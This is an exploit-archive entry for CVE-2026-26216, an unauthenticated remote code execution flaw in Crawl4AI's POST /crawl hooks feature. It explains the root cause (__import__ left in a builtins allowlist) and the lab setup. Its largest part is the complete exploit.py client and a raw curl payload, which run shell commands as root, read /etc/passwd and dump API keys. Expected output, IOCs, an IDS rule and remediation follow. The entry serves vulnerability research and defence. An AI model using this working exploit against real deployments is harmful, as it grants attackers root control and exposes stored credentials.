PoC Archive PoC Archive
CVE-2026-26216 / GHSA-5882-5rx9-xgxp category: web CVSS 10 (CRITICAL)
Patched

Crawl4AI Unauthenticated Remote Code Execution via Crawl Hooks (CVE-2026-26216)

Published: 2026-11-27 • Researcher: joaovicdev (GitHub: joaovicdev); advisory GHSA-5882-5rx9-xgxp published by the Crawl4AI project (unclecode)

Target software Crawl4AI — open-source LLM-friendly crawler/scraper, Docker API server (POST /crawl endpoint)
Affected versions All versions before 0.8.0 (NVD range EndExcluding 0.8.0); fixed in 0.8.0
Status PoC (complete end-to-end exploit against the bundled reproduction; no run against the real Crawl4AI image is documented upstream)
Severity Critical · CVSS 10
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-07-25 (upstream commit 8b62fd0cd613e5231c58b2390c8765bc007d44fb, “PoC + exploit for CVE-2026-26216 (Crawl4AI unauthenticated RCE via hooks)”)
Author / Researcherjoaovicdev (GitHub: joaovicdev); advisory GHSA-5882-5rx9-xgxp published by the Crawl4AI project (unclecode)
CVE / AdvisoryCVE-2026-26216 / GHSA-5882-5rx9-xgxp
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSSv3.1, NVD record); EPSS 0.0639
StatusPoC (complete end-to-end exploit against the bundled reproduction; no run against the real Crawl4AI image is documented upstream)
Tagscrawl4ai, code-injection, CWE-94, python, sandbox-escape, builtins-allowlist, unauthenticated, rce, docker, llm-tooling
Relatedpocs/web/2026-07-27_cve-2026-53753-crawl4ai-sandbox-escape-rce/ — a different Crawl4AI sandbox-escape CVE in the same product

Affected Target

FieldValue
Software / SystemCrawl4AI — open-source LLM-friendly crawler/scraper, Docker API server (POST /crawl endpoint)
Versions AffectedAll versions before 0.8.0 (NVD range EndExcluding 0.8.0); fixed in 0.8.0
Language / PlatformPython 3 application (FastAPI/uvicorn in the reproduction) shipped as a Docker container that runs as root
Authentication RequiredNo — the shipped Docker deployment has JWT auth disabled by default
Network Access RequiredYes — HTTP reachability to the Crawl4AI API port (default 11235)

Summary

Crawl4AI before 0.8.0 accepts Python source code in the hooks parameter of the POST /crawl endpoint and executes it server side. The hook runs inside a do-it-yourself sandbox that is only a restricted builtins dictionary, and that dictionary still contains the import function, so a single call reaches the entire Python standard library. From there the attacker runs arbitrary shell commands as root in the container without any authentication, and the command output is returned in the crawl response. The archived repository contains the working exploit client plus a self-contained reproduction of the vulnerable server so the chain can be demonstrated on a lab host.

Vulnerability Details

Root Cause

The crawl request schema carries a hooks object whose code field maps event names to Python source. In the reproduction, HookManager.register_from_code compiles that string and runs it with exec against a globals dictionary whose builtins is the ALLOWED_BUILTINS allowlist. The allowlist removes open, eval, exec and compile, which makes a naive attempt such as open(’/etc/passwd’) fail and gives the impression that the hook sandbox is effective. However import was left in the list alongside harmless entries such as len, str and range. Because import is the primitive that loads any module, one call such as import(‘os’).system(…) or a subprocess import escapes the allowlist entirely and the whole sandbox becomes decorative. NVD classifies the flaw as CWE-94 (improper control of generation of code).

Attack Vector

A single unauthenticated HTTP request to the Docker API: POST /crawl with Content-Type application/json and a body of the form {“urls”: [“https://example.com”], “hooks”: {“code”: {“on_page_context_created”: “async def hook(page, context, **kwargs): …”}}}. The server registers the supplied source as the hook for the named lifecycle event and then executes it when that event fires during the crawl. The reproduction captures standard output during hook execution and returns it in the server_log field of the JSON response, which is the exfiltration channel.

Impact

Arbitrary command execution as root inside the Crawl4AI container. The attacker can read and write arbitrary files, dump process environment variables and thereby steal OPENAI_API_KEY and internal tokens, kill processes, and use the container’s network position to pivot into internal services. Since no credentials are required, any client that can reach port 11235 has full control of the deployment, and because the vulnerability sits in the core request handler it affects every crawl feature rather than one optional plugin.

Environment / Lab Setup

Output
OS:          Linux host with Docker Engine and Docker Compose
Target:      Crawl4AI < 0.8.0; the bundled reproduction (crawl4ai-vuln:0.7.4) on http://localhost:11235
Attacker:    Any host with Python 3.8+ (the exploit client uses only the standard library)
Tools:       docker, docker compose, python3, curl

Setup Steps

Shell script
1
2
3
4
docker compose up -d --build

curl -s http://localhost:11235/health
docker compose down -v

The bundled Dockerfile sets two obviously fake placeholder environment variables (OPENAI_API_KEY and CRAWL4AI_INTERNAL_TOKEN) purely so the environment-variable exfiltration step has something to return. They are not real credentials and must not be replaced with any.

Proof of Concept

Step-by-Step Reproduction

  1. Start the vulnerable server — the compose file builds vulnerable-app and publishes port 11235.

    Shell script
    1
    
    docker compose up -d --build
  2. Run the full demonstration — the client first shows that a direct open() call is blocked, then bypasses the sandbox through import and runs id, reads /etc/passwd, dumps environment variables and writes a file in the container.

    Shell script
    1
    
    python3 exploit.py --target http://localhost:11235 --demo
  3. Run a single command — the hook event can also be chosen explicitly.

    Shell script
    1
    
    python3 exploit.py --target http://localhost:11235 --cmd "id; hostname; env" --event on_page_context_created
  4. Or send the raw request by hand — the payload is a plain JSON document; the hook must define a callable named hook.

    Shell script
    1
    2
    3
    
    curl -s http://localhost:11235/crawl \
      -H 'Content-Type: application/json' \
      -d '{"urls":["https://example.com"],"hooks":{"code":{"on_page_context_created":"async def hook(page, context, **kwargs):\n    __import__(\"os\").system(\"id\")\n    return page"}}}'

Exploit Code

See exploit.py in this folder for the full client. The generated hook body is:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
def build_hook_code(command: str) -> str:
    return textwrap.dedent(
        f"""
        async def hook(page, context, **kwargs):
            subprocess = __import__('subprocess')
            out = subprocess.run(
                {command!r},
                shell=True, capture_output=True, text=True
            )
            print("=== STDOUT ===")
            print(out.stdout)
            if out.stderr:
                print("=== STDERR ===")
                print(out.stderr)
            return page
        """
    ).strip()

Expected Output

Output
==================================================================
 Unauthenticated RCE PoC — CVE-2026-26216 (Crawl4AI hooks)
==================================================================
[*] Target: http://localhost:11235

[+] /health -> 200 {"status":"ok","version":"0.7.4-vuln"}

[1] NAIVE attempt: use open('/etc/passwd') directly
    (the sandbox removed open() -> should fail)
    -> BLOCKED by the sandbox, as expected: [hook error] ...

[2] BYPASS via __import__('subprocess') — process identity
=== STDOUT ===
uid=0(root) gid=0(root) groups=0(root)
root
a1b2c3d4e5f6
Linux a1b2c3d4e5f6 6.8.0-... x86_64 GNU/Linux

[3] Read /etc/passwd (via shell, bypassing the blocked open())
=== STDOUT ===
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

[4] Exfiltrate environment variables (API keys, tokens)
=== STDOUT ===
OPENAI_API_KEY=sk-proj-FAKE-secret-do-servidor-de-producao-1234567890
CRAWL4AI_INTERNAL_TOKEN=internal-jwt-signing-key-super-secreto

[5] Write a file in the container (arbitrary write proof)
=== STDOUT ===
-rw-r--r-- 1 root root 26 ... /tmp/PWNED
pwned by CVE-2026-26216

Container hostname, kernel string and the two secret values are illustrative; the last two are the fake placeholders baked into the bundled Dockerfile.

Detection & Indicators of Compromise

Output
POST /crawl HTTP/1.1 ... "hooks":{"code":{...
POST /crawl with a JSON body whose quoted code contains __import__, exec(, subprocess, os.system
POST /crawl from an address that never used the API before, often from cloud egress ranges

Crawl responses whose server_log field contains shell output (uid=, root:x:0:0, environment dumps)
Unexpected files written under /tmp or the application directory in the container
Child processes spawned by the crawl service (subprocess.run with shell=True)
Outbound connections from the container to internal ranges it normally does not touch

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible CVE-2026-26216 Crawl4AI hook code injection"; flow:to_server,established; content:"POST"; http_method; content:"/crawl"; http_uri; content:"hooks"; http_client_body; content:"__import__"; http_client_body; reference:cve,2026-26216; sid:9026216; rev:1;)

Remediation

ActionDetail
PatchUpgrade to Crawl4AI 0.8.0 or later. The fix removes import (together with eval, exec and open) from the allowed builtins and disables hooks by default, requiring an explicit CRAWL4AI_HOOKS_ENABLED=true opt-in.
WorkaroundIf upgrading is not possible, remove import from the hook builtins allowlist and disable the hooks parameter entirely. Never expose the Crawl4AI API port to the internet; front it with authentication, a VPN or a management network.
Config HardeningEnable JWT authentication on the API, do not publish port 11235 beyond localhost, run the container as a non-root user with a read-only root filesystem and dropped capabilities, apply a seccomp profile, and keep the service’s environment free of long-lived provider keys (use scoped, rotated credentials). Treat builtins allowlists as no isolation at all; untrusted code needs gVisor, a microVM or a separate network-less process.

References

Files In This Entry

Output
docker-compose.yml          service definition for the reproduction
exploit.py                  exploit client (DISCLAIMER header added)
upstream-README.md          upstream README, verbatim (Portuguese)
vulnerable-app/Dockerfile   vulnerable image, runs as root, fake demo secrets
vulnerable-app/server.py    FastAPI surface: unauthenticated POST /crawl
vulnerable-app/hook_manager.py  the builtins allowlist containing __import__
vulnerable-app/requirements.txt fixed dependency pins for the reproduction

Notes

Auto-prepared on 2026-11-27 from https://github.com/joaovicdev/EXPLOIT-CVE-2026-26216 (0 stars, 8 tracked files, single commit 8b62fd0, no LICENSE file).

Review verdict: ingested. The repository ships genuine exploit code, not a scanner or a version check: a standard-library client that sends a crafted hook body to a live endpoint and reads the command output back from the response, plus a self-contained target so the chain is reproducible. The demonstration deliberately contrasts the blocked open() attempt with the successful import bypass, which is exactly the point of the advisory. There is no C2, persistence, evasion, credential-stealing, mining or botnet component anywhere in the tree, and no binary or archive is present, so every file could be copied. The only content not carried over is .git and .gitignore. The exploit.py received a four-line authorized-use header; the server-side reproduction files are unmodified.

License: the upstream repository has no LICENSE file, so copyright stays with joaovicdev and no reuse rights are granted; the archived copies are kept for research and reference only. The upstream README is written in Portuguese and is archived verbatim without translation (its exploit path is exploit/exploit.py; the archived copy sits at the entry root as exploit.py, while the lab tree keeps the vulnerable-app/ layout that docker-compose.yml expects).

Limitations: the bundled vulnerable-app is a deliberately lean reproduction of the Crawl4AI request path. It keeps the FastAPI surface and the exact sandbox construct of the advisory, but it does not start Chromium/Playwright and it fakes the page and browser context objects, so the hook fires against placeholder objects rather than a real crawl. The upstream author does not record a run against the official unclecode/crawl4ai image, which is why the status is PoC rather than Weaponized. Hook support and the reachable hook event names can differ between real Crawl4AI releases, and a deployment with JWT enabled or hooks disabled is not affected through this endpoint. The two environment variables in the Dockerfile are obvious fake placeholders included to make the exfiltration step visible, not real secrets. No exploit was executed while preparing this entry, so the output shown above is the flow the script prints, with host, kernel and secret values replaced by illustrative placeholders.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#!/usr/bin/env python3
# ---------------------------------------------------------------------------
# ARCHIVE COPY - CVE-2026-26216 (Crawl4AI unauthenticated RCE via hooks).
# For authorized security research and education only. Run this against
# systems you own or have explicit written permission to test. The author
# and the archive take no responsibility for misuse.
# ---------------------------------------------------------------------------
"""exploit.py — Unauthenticated RCE PoC for Crawl4AI Docker API.

CVE-2026-26216 / GHSA-5882-5rx9-xgxp (CVSS 10.0)

Abuses the `hooks` parameter of the POST /crawl endpoint. Hook code is executed
via exec() inside a builtins sandbox that mistakenly keeps __import__. With
__import__ available, we import `os`/`subprocess` and run arbitrary commands as
root inside the container, with no authentication at all.

Usage:
    python3 exploit.py --target http://localhost:11235 --cmd "id; hostname"
    python3 exploit.py --target http://localhost:11235 --demo

For authorized security research / lab use only. Do not use against systems you
do not have explicit permission to test.
"""

import argparse
import json
import sys
import textwrap
import urllib.request
import urllib.error


def build_hook_code(command: str) -> str:
    return textwrap.dedent(
        f"""
        async def hook(page, context, **kwargs):
            subprocess = __import__('subprocess')
            out = subprocess.run(
                {command!r},
                shell=True, capture_output=True, text=True
            )
            print("=== STDOUT ===")
            print(out.stdout)
            if out.stderr:
                print("=== STDERR ===")
                print(out.stderr)
            return page
        """
    ).strip()


def build_naive_blocked_code() -> str:
    return textwrap.dedent(
        """
        async def hook(page, context, **kwargs):
            data = open('/etc/passwd').read()
            print(data)
            return page
        """
    ).strip()


def send_crawl(target: str, hook_event: str, hook_code: str, timeout: int = 30) -> dict:
    url = target.rstrip("/") + "/crawl"
    payload = {
        "urls": ["https://example.com"],
        "hooks": {"code": {hook_event: hook_code}},
    }
    data = json.dumps(payload).encode()
    req = urllib.request.Request(
        url, data=data, headers={"Content-Type": "application/json"}, method="POST"
    )
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return json.loads(resp.read().decode())
    except urllib.error.HTTPError as e:
        return {"success": False, "http_error": e.code, "body": e.read().decode()}
    except urllib.error.URLError as e:
        print(f"[!] Connection to {url} failed: {e.reason}", file=sys.stderr)
        sys.exit(2)


def run_command(target: str, command: str, hook_event: str = "on_page_context_created") -> str:
    resp = send_crawl(target, hook_event, build_hook_code(command))
    if not resp.get("success"):
        return f"[hook did not register] {json.dumps(resp, indent=2, ensure_ascii=False)}"
    return resp.get("server_log", "").strip()


def single(target: str, command: str, hook_event: str):
    print(f"[*] Target  : {target}")
    print(f"[*] Event   : {hook_event}")
    print(f"[*] Command : {command}")
    print("[*] Sending malicious hook payload via POST /crawl ...\n")
    out = run_command(target, command, hook_event)
    print(out if out else "[!] no output (command ran but produced no stdout)")


def demo(target: str):
    line = "=" * 66
    print(line)
    print(" Unauthenticated RCE PoC — CVE-2026-26216 (Crawl4AI hooks)")
    print(line)
    print(f"[*] Target: {target}\n")

    try:
        with urllib.request.urlopen(target.rstrip("/") + "/health", timeout=10) as r:
            print(f"[+] /health -> {r.status} {r.read().decode()}\n")
    except Exception as e:  # noqa: BLE001
        print(f"[!] target did not respond on /health: {e}")
        sys.exit(2)

    print("[1] NAIVE attempt: use open('/etc/passwd') directly")
    print("    (the sandbox removed open() -> should fail)")
    resp = send_crawl(target, "on_page_context_created", build_naive_blocked_code())
    log = resp.get("server_log", "") if resp.get("success") else ""
    if "root:x:0:0" in log:
        print("    -> ??? unexpected: open() worked\n")
    else:
        err = resp.get("error", "") or log or "no output (blocked)"
        print(f"    -> BLOCKED by the sandbox, as expected: {err.strip()[:120]}\n")

    print("[2] BYPASS via __import__('subprocess') — process identity")
    print(run_command(target, "id; whoami; hostname; uname -a"))
    print()

    print("[3] Read /etc/passwd (via shell, bypassing the blocked open())")
    print(run_command(target, "cat /etc/passwd | head -n 5"))
    print()

    print("[4] Exfiltrate environment variables (API keys, tokens)")
    print(run_command(target, "env | grep -Ei 'KEY|TOKEN|SECRET' || env"))
    print()

    print("[5] Write a file in the container (arbitrary write proof)")
    print(run_command(
        target,
        "echo 'pwned by CVE-2026-26216' > /tmp/PWNED && ls -l /tmp/PWNED && cat /tmp/PWNED",
    ))
    print()

    print(line)
    print(" Impact: arbitrary command execution as ROOT, unauthenticated.")
    print(" A single JSON on POST /crawl -> full RCE inside the container.")
    print(line)


def main():
    ap = argparse.ArgumentParser(
        description="Unauthenticated RCE exploit — CVE-2026-26216 (Crawl4AI hooks)"
    )
    ap.add_argument("--target", default="http://localhost:11235", help="target base URL")
    ap.add_argument("--cmd", help="single command to run on the target")
    ap.add_argument(
        "--event",
        default="on_page_context_created",
        help="hook event to abuse (default: on_page_context_created)",
    )
    ap.add_argument("--demo", action="store_true", help="run the full demonstration")
    args = ap.parse_args()

    if args.demo or not args.cmd:
        demo(args.target)
    else:
        single(args.target, args.cmd, args.event)


if __name__ == "__main__":
    main()